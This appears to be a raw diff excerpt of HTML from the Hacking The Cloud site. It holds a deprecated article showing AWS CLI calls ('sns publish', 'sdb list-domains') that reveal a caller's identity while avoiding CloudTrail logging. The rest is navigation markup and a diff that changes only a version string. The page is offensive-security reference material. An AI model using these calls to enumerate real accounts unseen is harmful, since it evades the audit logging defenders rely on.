class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#sns-publish class=md-nav__link> <span class=md-ellipsis> sns publish </span> </a> </li> <li class=md-nav__item> <a href=#sdb-list-domains class=md-nav__link> <span class=md-ellipsis> sdb list-domains </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/deprecated/whoami.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>[Deprecated] Whoami - Get Principal Name From Keys</h1> <h2 id=sns-publish>sns publish<a class=headerlink href=#sns-publish title="Permanent link">&para;</a></h2> <div class="admonition warning"> <p class=admonition-title>Warning</p> <p>As of Q4 2023 these calls can optionally be tracked in CloudTrail by enabling <a href=https://docs.aws.amazon.com/sns/latest/dg/sns-logging-using-cloudtrail.html#data-plane-events-cloudtrail>dataplane logging</a>. While this will not be enabled for the overwhelming majority of AWS accounts, there is no reason to risk it when there are other methods available.</p> </div> <p><a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/sns/publish.html>sns:Publish</a> would return the ARN of the calling user/role <strong>without logging to CloudTrail</strong>. To use this method, you had to provide a valid AWS account ID in the API call. This could be your own account id, or the account id of anyone else.</p> <div class=highlight><pre><span></span><code>user@host:~$ aws sns publish --topic-arn arn:aws:sns:us-east-1:*account id*:aaa --message aaa
 
 An error occurred (AuthorizationError) when calling the Publish operation: User: arn:aws:iam::123456789123:user/no-perm is not authorized to perform: SNS:Publish on resource: arn:aws:sns:us-east-1:*account id*:aaa because no resource-based policy allows the SNS:Publish action
 </code></pre></div> <h2 id=sdb-list-domains>sdb list-domains<a class=headerlink href=#sdb-list-domains title="Permanent link">&para;</a></h2> <div class="admonition warning"> <p class=admonition-title>Warning</p> <p>As of August 15, 2020 these calls are now tracked in CloudTrail (<a href=https://twitter.com/tacertain/status/1294726441850900480>tweet</a>). This page is maintained for historical and inspiration purposes.</p> </div> <p>As found by <a href=https://twitter.com/SpenGietz/status/1283843401008336896>Spencer Gietzen</a>, the API call for <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/sdb/list-domains.html>sdb list-domains</a> will return very similar information to get-caller-identity.</p> <div class=highlight><pre><span></span><code>user@host:$ aws sdb list-domains --region us-east-1
diff --git a/aws/enumeration/account_id_from_ec2/index.html b/aws/enumeration/account_id_from_ec2/index.html
index 95fb79c93..f381faf13 100644
--- a/aws/enumeration/account_id_from_ec2/index.html
+++ b/aws/enumeration/account_id_from_ec2/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="With access to an ec2 instance, you will be able to identify the AWS account it runs in."><link href=https://hackingthe.cloud/aws/enumeration/account_id_from_ec2/ rel=canonical><link href=../../general-knowledge/using_stolen_iam_credentials/ rel=prev><link href=../account_id_from_s3_bucket/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Enumerate AWS Account ID from an EC2 Instance - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Enumerate AWS Account ID from an EC2 Instance - Hacking The Cloud"><meta property=og:description content="With access to an ec2 instance, you will be able to identify the AWS account it runs in."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/enumeration/account_id_from_ec2.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/enumeration/account_id_from_ec2/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Enumerate AWS Account ID from an EC2 Instance - Hacking The Cloud"><meta property=twitter:description content="With access to an ec2 instance, you will be able to identify the AWS account it runs in."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/enumeration/account_id_from_ec2.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="With access to an ec2 instance, you will be able to identify the AWS account it runs in."><link href=https://hackingthe.cloud/aws/enumeration/account_id_from_ec2/ rel=canonical><link href=../../general-knowledge/using_stolen_iam_credentials/ rel=prev><link href=../account_id_from_s3_bucket/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Enumerate AWS Account ID from an EC2 Instance - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Enumerate AWS Account ID from an EC2 Instance - Hacking The Cloud"><meta property=og:description content="With access to an ec2 instance, you will be able to identify the AWS account it runs in."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/enumeration/account_id_from_ec2.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/enumeration/account_id_from_ec2/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Enumerate AWS Account ID from an EC2 Instance - Hacking The Cloud"><meta property=twitter:description content="With access to an ec2 instance, you will be able to identify the AWS account it runs in."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/enumeration/account_id_from_ec2.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,7 +7,7 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#get-caller-identity class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 